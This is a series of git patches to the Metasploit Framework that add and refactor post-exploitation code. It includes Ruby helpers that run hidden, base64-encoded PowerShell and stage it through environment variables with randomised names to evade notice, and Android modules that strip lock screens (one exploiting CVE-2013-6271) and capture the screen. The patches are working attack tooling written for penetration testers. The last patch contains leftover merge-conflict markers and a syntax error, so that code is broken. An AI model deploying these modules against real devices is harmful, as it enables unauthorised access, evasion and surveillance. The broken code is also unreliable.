IO.Compression.DeflateStream(" - psh_expression += "$stream," - psh_expression += "[IO.Compression.CompressionMode]::Decompress))," - psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression - end - - # - # Execute a powershell script and return the results. The script is never written - # to disk. - # - def execute_script(script, time_out = 15) - running_pids, open_channels = [], [] + def execute_script(script, greedy_kill = false) + @session_pids ||= [] + running_pids = greedy_kill ? get_ps_pids : [] + open_channels = [] # Execute using -EncodedCommand - session.response_timeout = time_out - cmd_out = session.sys.process.execute("powershell -EncodedCommand " + - "#{script}", nil, {'Hidden' => true, 'Channelized' => true}) + session.response_timeout = datastore['Powershell::Post::timeout'].to_i + ps_bin = datastore['Powershell::Post::force_wow64'] ? + '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 + script = encode_script(script.to_s) + end + ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None" + vprint_good("EXECUTING:\n#{ps_string}") + cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true}) + + # Subtract prior PIDs from current + if greedy_kill + Rex::ThreadSafe.sleep(3) # Let PS start child procs + running_pids = get_ps_pids(running_pids) + end # Add to list of running processes running_pids << cmd_out.pid + # All pids start here, so store them in a class variable + (@session_pids += running_pids).uniq! + # Add to list of open channels open_channels << cmd_out - return [cmd_out, running_pids, open_channels] + return [cmd_out, running_pids.uniq, open_channels] end # # Powershell scripts that are longer than 8000 bytes are split into 8000 - # 8000 byte chunks and stored as environment variables. A new powershell + # byte chunks and stored as CMD environment variables. A new powershell # script is built that will reassemble the chunks and execute the script. # Returns the reassembly script. # - def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) + def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) # Check to ensure script is encoded and compressed if compressed_script =~ /\s|\.|\;/ @@ -159,12 +112,11 @@ module Powershell set_env_variable += "'#{chunk}', 'User')" # Compress and encode the set command - encoded_stager = compress_script(set_env_variable) + encoded_stager = encode_script(compress_script(set_env_variable)) # Stage the payload print_good(" - Bytes remaining: #{compressed_script.size - index}") - execute_script(encoded_stager) - + cmd_out, running_pids, open_channels = execute_script(encoded_stager, false) # Increment index index += count @@ -178,57 +130,112 @@ module Powershell reassemble_command += "GetString($([Convert]::FromBase64String($c)))))" # Compress and encode the reassemble command - encoded_script = compress_script(reassemble_command) + encoded_script = encode_script(compress_script(reassemble_command)) return encoded_script end # - # Log the results of the powershell script + # Reads output of the command channel and empties the buffer. + # Will optionally log command output to disk. # - def write_to_log(cmd_out, log_file, eof) - # Open log file for writing - fd = ::File.new(log_file, 'w+') + def get_ps_output(cmd_out, eof, read_wait = 5) + results = '' - # Read output until eof and write to log - while (line = cmd_out.channel.read()) + if datastore['Powershell::Post::log_output'] + # Get target's computer name + computer_name = session.sys.config.sysinfo['Computer'] + + # Create unique log directory + log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name) + ::FileUtils.mkdir_p(log_dir) + + # Define log filename + time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S') + log_file = ::File.join(log_dir,"#{time_stamp}.txt") + + + # Open log file for writing + fd = ::File.new(log_file, 'w+') + end + + # Read output until eof or nil return output and write to log + while (1) + line = ::Timeout.timeout(read_wait) { + cmd_out.channel.read + } rescue nil + break if line.nil? if (line.sub!(/#{eof}/, '')) - fd.write(line) - vprint_good("\t#{line}") - cmd_out.channel.close() + results << line + fd.write(line) if fd + #vprint_good("\t#{line}") break end - fd.write(line) - vprint_good("\t#{line}") + results << line + fd.write(line) if fd + #vprint_status("\n#{line}") end # Close log file - fd.close() + # cmd_out.channel.close() + fd.close() if fd - return + return results + + # + # Incremental read method - NOT USED + # + # read_data = '' + # segment = 2**16 + # # Read incrementally smaller blocks after each failure/timeout + # while segment > 0 do + # begin + # read_data << ::Timeout.timeout(read_wait) { + # cmd_out.channel.read(segment) + # } + # rescue + # segment = segment/2 + # end + # end end # # Clean up powershell script including process and chunks stored in environment variables # - def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) + def clean_up( + script_file = nil, + eof = '', + running_pids =[], + open_channels = [], + env_suffix = Rex::Text.rand_text_alpha(8), + delete = false + ) # Remove environment variables env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|" env_del_command += "Select-String #{env_suffix}|%{" env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}" - script = compress_script(env_del_command, eof) - cmd_out, running_pids, open_channels = *execute_script(script) - write_to_log(cmd_out, "/dev/null", eof) - # Kill running processes - running_pids.each() do |pid| - session.sys.process.kill(pid) + script = compress_script(env_del_command, eof) + cmd_out, new_running_pids, new_open_channels = execute_script(script) + get_ps_output(cmd_out, eof) + + # Kill running processes, should mutex this... + @session_pids = (@session_pids + running_pids + new_running_pids).uniq + (running_pids + new_running_pids).uniq.each do |pid| + begin + if session.sys.process.processes.map {|x|x['pid']}.include?(pid) + session.sys.process.kill(pid) + end + @session_pids.delete(pid) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Failed to kill #{pid} due to #{e}" + end end # Close open channels - open_channels.each() do |chan| - chan.channel.close() + (open_channels + new_open_channels).uniq.each do |chan| + chan.channel.close end ::File.delete(script_file) if (script_file and delete) @@ -236,8 +243,57 @@ module Powershell return end -end -end -end -end + # + # Simple script execution wrapper, performs all steps + # required to execute a string of powershell. + # This method will try to kill all powershell.exe PIDs + # which appeared during its execution, set greedy_kill + # to false if this is not desired. + # + def psh_exec(script, greedy_kill=true, ps_cleanup=true) + # Define vars + eof = Rex::Text.rand_text_alpha(8) + # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}" + env_suffix = Rex::Text.rand_text_alpha(8) + script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code) + # Check to ensure base64 encoding - regex format and content length division + unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 + script = encode_script(compress_script(script.to_s, eof),eof) + end + if datastore['Powershell::Post::dry_run'] + return "powershell -EncodedCommand #{script}" + else + # Check 8k cmd buffer limit, stage if needed + if (script.size > 8100) + vprint_error("Compressed size: #{script.size}") + error_msg = "Compressed size may cause command to exceed " + error_msg += "cmd.exe's 8kB character limit." + vprint_error(error_msg) + vprint_good('Launching stager:') + script = stage_cmd_env(script, env_suffix) + print_good("Payload successfully staged.") + else + print_good("Compressed size: #{script.size}") + end + vprint_good("Final command #{script}") + # Execute the script, get the output, and kill the resulting PIDs + cmd_out, running_pids, open_channels = execute_script(script, greedy_kill) + if datastore['Powershell::Post::timeout'].to_i < 0 + out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed" + # print_error out + return out + end + ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout']) + # Kill off the resulting processes if needed + if ps_cleanup + vprint_good( "Cleaning up #{running_pids.join(', ')}" ) + clean_up(nil, eof, running_pids, open_channels, env_suffix, false) + end + return ps_output + end + end +end +end +end +end diff --git a/lib/rex/powershell.rb b/lib/rex/powershell.rb index a8df5a5c3c..ad200d86c6 100644 --- a/lib/rex/powershell.rb +++ b/lib/rex/powershell.rb @@ -13,7 +13,7 @@ require 'rex/powershell/command' module Rex module Powershell # - # Reads script into a PowershellScript + # Reads script into a Powershell::Script # # @param script_path [String] Path to the Script File # diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb index f241387482..8e42f11a2d 100644 --- a/lib/rex/powershell/command.rb +++ b/lib/rex/powershell/command.rb @@ -15,14 +15,14 @@ module Command # @option opts [Bool] :sub_funcs Substitute function names # # @return [String] Encoded script - def self.encode_script(script_in, opts={}) + def self.encode_script(script_in, eof=nil, opts={}) # Build script object psh = Rex::Powershell::Script.new(script_in) psh.strip_comments if opts[:strip_comments] psh.strip_whitespace if opts[:strip_whitespace] psh.sub_vars if opts[:sub_vars] psh.sub_funcs if opts[:sub_funcs] - psh.encode_code + psh.encode_code(eof) end # diff --git a/lib/rex/powershell/output.rb b/lib/rex/powershell/output.rb index c004697116..9289162b35 100644 --- a/lib/rex/powershell/output.rb +++ b/lib/rex/powershell/output.rb @@ -52,7 +52,7 @@ module Powershell # Build the powershell expression # Decode base64 encoded command and create a stream object - psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" # Read & delete the first two bytes due to incompatibility with MS psh_expression << '$s.ReadByte();' @@ -75,10 +75,18 @@ module Powershell # Return Base64 encoded powershell code # # @return [String] Base64 encoded powershell code - def encode_code + def encode_code(eof = nil) @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code)) end + # + # Return ASCII powershell code from base64/unicode + # + # @return [String] ASCII powershell code + def decode_code + @code = Rex::Text.to_ascii(Rex::Text.decode_base64(code)) + end + # # Return a gzip compressed powershell code wrapped in decoder stub # @@ -95,7 +103,7 @@ module Powershell # Build the powershell expression # Decode base64 encoded command and create a stream object - psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" # Uncompress and invoke the expression (execute) psh_expression << 'IEX (New-Object IO.StreamReader(' diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb new file mode 100644 index 0000000000..7bd9a3723a --- /dev/null +++ b/modules/post/windows/manage/exec_powershell.rb @@ -0,0 +1,62 @@ + +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/powershell' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Powershell Execution Post Module", + 'Description' => %q{ + This module will execute a powershell script in a meterpreter session. + The user may also enter text substitutions to be made in memory before execution. + Setting VERBOSE to true will output both the script prior to execution and the results. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => [ + 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script + 'RageLtMan' # post module and libs + ] + )) + + register_options( + [ + OptString.new( 'SCRIPT', [true, 'Path to the PS script or command string to execute' ]), + ], self.class) + + register_advanced_options( + [ + OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]), + ], self.class) + + end + + + + def run + + # Make sure we meet the requirements before running the script, note no need to return + # unless error + raise "Powershell not available" if ! have_powershell? + + # Preprocess the Powershell::Script object with substitions from Exploit::Powershell + script = make_subs(read_script(datstore['SCRIPT']),process_subs(datstore['SUBSTITUTIONS'])) + + # Execute in session + print_status psh_exec(script) + print_good('Finished!') + end + + + +end From 6d9f6c9715e01b331648c7c6c379f8f04624e755 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Wed, 20 May 2015 19:08:50 -0400 Subject: [PATCH 0095/2172] retab exec_powershell.rb --- .../post/windows/manage/exec_powershell.rb | 66 +++++++++---------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index 7bd9a3723a..e9cca1adc4 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -10,52 +10,52 @@ require 'rex' require 'msf/core/post/windows/powershell' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Powershell + include Msf::Post::Windows::Powershell - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Powershell Execution Post Module", - 'Description' => %q{ - This module will execute a powershell script in a meterpreter session. - The user may also enter text substitutions to be made in memory before execution. - Setting VERBOSE to true will output both the script prior to execution and the results. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['windows'], - 'SessionTypes' => ['meterpreter'], - 'Author' => [ - 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script - 'RageLtMan' # post module and libs - ] - )) + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Powershell Execution Post Module", + 'Description' => %q{ + This module will execute a powershell script in a meterpreter session. + The user may also enter text substitutions to be made in memory before execution. + Setting VERBOSE to true will output both the script prior to execution and the results. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => [ + 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script + 'RageLtMan' # post module and libs + ] + )) - register_options( - [ - OptString.new( 'SCRIPT', [true, 'Path to the PS script or command string to execute' ]), - ], self.class) + register_options( + [ + OptString.new( 'SCRIPT', [true, 'Path to the PS script or command string to execute' ]), + ], self.class) - register_advanced_options( - [ - OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]), - ], self.class) + register_advanced_options( + [ + OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]), + ], self.class) - end + end - def run + def run - # Make sure we meet the requirements before running the script, note no need to return - # unless error - raise "Powershell not available" if ! have_powershell? + # Make sure we meet the requirements before running the script, note no need to return + # unless error + raise "Powershell not available" if ! have_powershell? # Preprocess the Powershell::Script object with substitions from Exploit::Powershell script = make_subs(read_script(datstore['SCRIPT']),process_subs(datstore['SUBSTITUTIONS'])) # Execute in session - print_status psh_exec(script) - print_good('Finished!') - end + print_status psh_exec(script) + print_good('Finished!') + end From 23b69a0c22d3283b6e9545b0320da780b62bc9af Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 21 May 2015 00:32:31 -0400 Subject: [PATCH 0096/2172] license update --- modules/post/windows/manage/exec_powershell.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index e9cca1adc4..e2a719be9b 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -1,8 +1,7 @@ -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From 5035db77b840a2aa4806c693cb0bf0a94b66b77c Mon Sep 17 00:00:00 2001 From: Tim Date: Mon, 25 May 2015 13:37:30 +0100 Subject: [PATCH 0097/2172] add remove lockscreen for android --- .../post/android/manage/remove_lock_root.rb | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 modules/post/android/manage/remove_lock_root.rb diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb new file mode 100644 index 0000000000..8cff239fea --- /dev/null +++ b/modules/post/android/manage/remove_lock_root.rb @@ -0,0 +1,41 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Post + + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android Root Remove Device Locks", + 'Description' => %q{ + This module uses root privileges to remove the device lock. + In some cases the original lock method will still be present but any key/gesture will + unlock the device. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'timwr' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Platform' => 'android', + } + )) + end + + def run + id = cmd_exec('id') + unless id =~ /root/ + print_error("This module requires root permissions") + return + end + + cmd_exec('rm /data/system/password.key') + cmd_exec('rm /data/system/gesture.key') + end + +end + From a04f70eb539945d3cb2cd3495280d4dd7718f242 Mon Sep 17 00:00:00 2001 From: Tim Date: Mon, 25 May 2015 13:36:48 +0100 Subject: [PATCH 0098/2172] add screencap for android --- modules/post/android/capture/screen.rb | 73 ++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 modules/post/android/capture/screen.rb diff --git a/modules/post/android/capture/screen.rb b/modules/post/android/capture/screen.rb new file mode 100644 index 0000000000..678d228d01 --- /dev/null +++ b/modules/post/android/capture/screen.rb @@ -0,0 +1,73 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Post + + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Android Screen Capture', + 'Description' => %q{ + This module takes a screenshot of the target phone. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'timwr' ], + 'Platform' => [ 'android' ], + 'SessionTypes' => [ 'shell', 'meterpreter' ] + )) + + register_options( + [ + OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']), + OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap']) + ], self.class) + end + + def run + id = cmd_exec('id') + unless id =~ /root/ or id =~ /shell/ + print_error("This module requires shell or root permissions") + return + end + + exe_path = datastore['EXE_PATH'] + tmp_path = datastore['TMP_PATH'] + if not file?(exe_path) + print_error("Aborting, screencap binary not found.") + return + end + + begin + file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png" + cmd_exec("#{exe_path} -p #{file}") + print_good("Downloading screenshot...") + data = read_file(file) + file_rm(file) + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Error taking the screenshot") + vprint_error("#{e.class} #{e} #{e.backtrace}") + return + end + + unless data + print_error("No data for screenshot") + return + end + + begin + fn = "screenshot.png" + location = store_loot("screen_capture.screenshot", "image/png", session, data, fn, "Screenshot") + print_good("Screenshot saved at #{location}") + rescue ::IOError, ::Errno::ENOENT => e + print_error("Error storing screenshot") + vprint_error("#{e.class} #{e} #{e.backtrace}") + return + end + end +end From e06f47b2bdf8f0af1668277526bb3de3513d2890 Mon Sep 17 00:00:00 2001 From: benpturner Date: Mon, 25 May 2015 15:48:27 +0100 Subject: [PATCH 0099/2172] Updates load_script to have support for folders and to include the stager process in the mixin module for other post mods --- lib/msf/core/post/windows/powershell.rb | 41 +++++++++++++++++ .../windows/manage/powershell/load_script.rb | 46 +++++-------------- 2 files changed, 52 insertions(+), 35 deletions(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index b77da4a5e3..ae545863c2 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -236,6 +236,47 @@ module Powershell return end + # + # Uploads a script into a Powershell session via memory (Powershell session types only). + # If the script is larger than 15000 bytes the script will be uploaded in a staged approach + # + def upload_script_via_psh(script) + begin + encoded_expression = Rex::Powershell::Command.encode_script(read_script(script)) + + if (encoded_expression.size > 14999) + print_error("Compressed size: #{encoded_expression.size} This script requres a stager") + arr = encoded_expression.chars.each_slice(14999).map(&:join) + print_good("Loading " + arr.count.to_s + " chunks into the stager.") + vararray = [] + arr.each_with_index do |slice, index| + variable = Rex::Text.rand_text_alpha(8) + vararray << variable + indexval = index+1 + vprint_good("Loaded stage:#{indexval}") + session.shell_command("$#{variable} = \"#{slice}\"") + end + linkvars = '' + for var in vararray + linkvars = linkvars + " + $" + var + end + linkvars.slice!(0..2) + session.shell_command("$script = #{linkvars}") + else + print_good("Compressed size: #{encoded_expression.size}") + session.shell_command("$script = \"#{encoded_expression}\"") + end + session.shell_command("$decscript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($script))") + session.shell_command("$scriptby = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") + session.shell_command("$scriptbybase = [System.Convert]::ToBase64String($scriptby) ") + session.shell_command("$scriptbybasefull = ([System.Convert]::FromBase64String($scriptbybase))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbybasefull))|iex") + print_good("Module loaded") + rescue Errno::EISDIR => e + vprint_error("Unable to upload script: #{e.message}") + end + end + end end end diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index d3238cb964..471be833ff 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -13,7 +13,8 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => "Load Scripts Into PowerShell Session", 'Description' => %q{ - This module will download and execute a PowerShell script over a present powershell session. + This module will download and execute one or more PowerShell script + s over a present powershell session. Setting VERBOSE to true will show the stager results. }, 'License' => MSF_LICENSE, @@ -27,46 +28,21 @@ class Metasploit3 < Msf::Post register_options( [ - OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), + OptPath.new( 'SCRIPT', [false, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), + OptPath.new( 'FOLDER', [false, 'Path to a folder of PS scripts']) ], self.class) end def run - # Get datastore values and encode the file - encoded_expression = Rex::Powershell::Command.encode_script(read_script(datastore['SCRIPT'])) - - # If the encoded script size more than 15000 bytes, launch a stager - if (encoded_expression.size > 14999) - print_error("Compressed size: #{encoded_expression.size} This script requres a stager") - arr = encoded_expression.chars.each_slice(14999).map(&:join) - print_good("Loading " + arr.count.to_s + " chunks into the stager.") - vararray = [] - arr.each_with_index do |slice, index| - variable = Rex::Text.rand_text_alpha(8) - vararray << variable - indexval = index+1 - vprint_good("Loaded stage:#{indexval}") - session.shell_command("$#{variable} = \"#{slice}\"") - end - linkvars = '' - for var in vararray - linkvars = linkvars + " + $" + var - end - linkvars.slice!(0..2) - session.shell_command("$script = #{linkvars}") - else - print_good("Compressed size: #{encoded_expression.size}") - session.shell_command("$script = \"#{encoded_expression}\"") + if datastore['SCRIPT'] + upload_script_via_psh(datastore['SCRIPT']) + end + if datastore['FOLDER'] + files = ::Dir.entries(datastore['FOLDER']) + files.reject! { |u| %w(. ..).include?(u) } + files.each do |script| upload_script_via_psh(datastore['FOLDER'] + script) end end - - session.shell_command("$decscript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($script))") - session.shell_command("$scriptby = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") - session.shell_command("$scriptbybase = [System.Convert]::ToBase64String($scriptby) ") - session.shell_command("$scriptbybasefull = ([System.Convert]::FromBase64String($scriptbybase))") - session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbybasefull))|iex") - print_good("Module loaded") end - end From 45b2632d218c24721bac9b106b5563f245bb0545 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 26 May 2015 06:47:44 +0100 Subject: [PATCH 0100/2172] android 4.x remove locks (without root) --- modules/post/android/manage/remove_lock.rb | 53 ++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 modules/post/android/manage/remove_lock.rb diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb new file mode 100644 index 0000000000..16e58448dd --- /dev/null +++ b/modules/post/android/manage/remove_lock.rb @@ -0,0 +1,53 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Post + Rank = NormalRanking + + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android Settings Remove Device Locks", + 'Description' => %q{ + This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class. + Any unprivileged app can exploit this vulnerability to remove the lockscreen. + A logic flaw / design error exists in the settings application that allows an Intent from any + application to clear the screen lock. The user may see that the Settings application has crashed, + and the phone can then be unlocked by a swipe. + This vulnerability was patched in Android 4.4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'CureSec', # discovery + 'timwr' # metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-6271' ], + [ 'URL', 'http://blog.curesec.com/article/blog/26.html' ], + [ 'URL', 'http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf' ] + ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Platform' => 'android', + 'DisclosureDate' => "Oct 11 2013" + } + )) + end + + def run + buildprop = cmd_exec('cat /system/build.prop') + unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/ + print_error("This module is only compatible with Android versions 4.0 to 4.3") + return + end + + cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') + end + +end + From e9821f6a70406d47d26eac8788421f5a44e329a2 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 29 May 2015 04:04:51 -0400 Subject: [PATCH 0101/2172] Update stage_psh_env method Replace variable names with generated strings to increase entropy. Add compression test for stager to determine if a compressed PSH script will fit into the allowed space. If so, compress and exec without staging. Add variable name cleanup to stager mechanism - Remove-Variable with -ErrorAction SilentlyContinue is called on each stager var name after the stager executes. TODO: Update method documentation --- lib/msf/core/post/windows/powershell.rb | 99 +++++++++++++++---------- 1 file changed, 58 insertions(+), 41 deletions(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 31a3fe160f..7d42835a86 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -135,6 +135,64 @@ module Powershell return encoded_script end + # + # Uploads a script into a Powershell session via memory (Powershell session types only). + # If the script is larger than 15000 bytes the script will be uploaded in a staged approach + # + def stage_psh_env(script) + begin + encoded_expression = encode_script(read_script(script)) + cleanup_commands = [] + # Add entropy to script variable names + script_var = = Rex::Text.rand_text_alpha(6) + decscript = Rex::Text.rand_text_alpha(6) + scriptby = Rex::Text.rand_text_alpha(6) + scriptbybase = Rex::Text.rand_text_alpha(6) + scriptbybasefull = Rex::Text.rand_text_alpha(6) + + if (encoded_expression.size > 14999 && compress_script(encoded_expression).size > 14999) + print_error("Script size: #{encoded_expression.size} This script requres a stager") + arr = encoded_expression.chars.each_slice(14999).map(&:join) + print_good("Loading " + arr.count.to_s + " chunks into the stager.") + vararray = [] + arr.each_with_index do |slice, index| + variable = Rex::Text.rand_text_alpha(8) + vararray << variable + indexval = index+1 + vprint_good("Loaded stage:#{indexval}") + session.shell_command("$#{variable} = \"#{slice}\"") + cleanup_commands << "Remove-Variable #{variable} -EA 0" + end + linkvars = '' + for var in vararray + linkvars = linkvars + " + $" + var + end + linkvars.slice!(0..2) + session.shell_command("$#{script_var} = #{linkvars}") + elsif (compress_script(encoded_expression).size < 15000) + # Attempt to compress the PSH script into available space + encoded_expression = compress_script(encoded_expression) + print_good("Compressed script size: #{encoded_expression.size}") + session.shell_command("$#{script_var} = \"#{encoded_expression}\"") + else + print_good("Script size: #{encoded_expression.size}") + session.shell_command("$#{script_var} = \"#{encoded_expression}\"") + end + session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))") + session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")") + session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ") + session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex") + print_good("Module loaded") + unless cleanup_commands.empty? + vprint_good("Cleaning up #{cleanup_commands.count} stager variables") + session.shell_command("#{cleanup_commands.join(';')}") + end + rescue Errno::EISDIR => e + vprint_error("Unable to upload script: #{e.message}") + end + end + # # Reads output of the command channel and empties the buffer. # Will optionally log command output to disk. @@ -243,46 +301,6 @@ module Powershell return end - # -<<<<<<< HEAD - # Uploads a script into a Powershell session via memory (Powershell session types only). - # If the script is larger than 15000 bytes the script will be uploaded in a staged approach - # - def upload_script_via_psh(script) - begin - encoded_expression = Rex::Powershell::Command.encode_script(read_script(script)) - - if (encoded_expression.size > 14999) - print_error("Compressed size: #{encoded_expression.size} This script requres a stager") - arr = encoded_expression.chars.each_slice(14999).map(&:join) - print_good("Loading " + arr.count.to_s + " chunks into the stager.") - vararray = [] - arr.each_with_index do |slice, index| - variable = Rex::Text.rand_text_alpha(8) - vararray << variable - indexval = index+1 - vprint_good("Loaded stage:#{indexval}") - session.shell_command("$#{variable} = \"#{slice}\"") - end - linkvars = '' - for var in vararray - linkvars = linkvars + " + $" + var - end - linkvars.slice!(0..2) - session.shell_command("$script = #{linkvars}") - else - print_good("Compressed size: #{encoded_expression.size}") - session.shell_command("$script = \"#{encoded_expression}\"") - end - session.shell_command("$decscript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($script))") - session.shell_command("$scriptby = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") - session.shell_command("$scriptbybase = [System.Convert]::ToBase64String($scriptby) ") - session.shell_command("$scriptbybasefull = ([System.Convert]::FromBase64String($scriptbybase))") - session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbybasefull))|iex") - print_good("Module loaded") - rescue Errno::EISDIR => e - vprint_error("Unable to upload script: #{e.message}") -======= # Simple script execution wrapper, performs all steps # required to execute a string of powershell. # This method will try to kill all powershell.exe PIDs @@ -329,7 +347,6 @@ module Powershell clean_up(nil, eof, running_pids, open_channels, env_suffix, false) end return ps_output ->>>>>>> feature-merge_psh_updates_201505 end 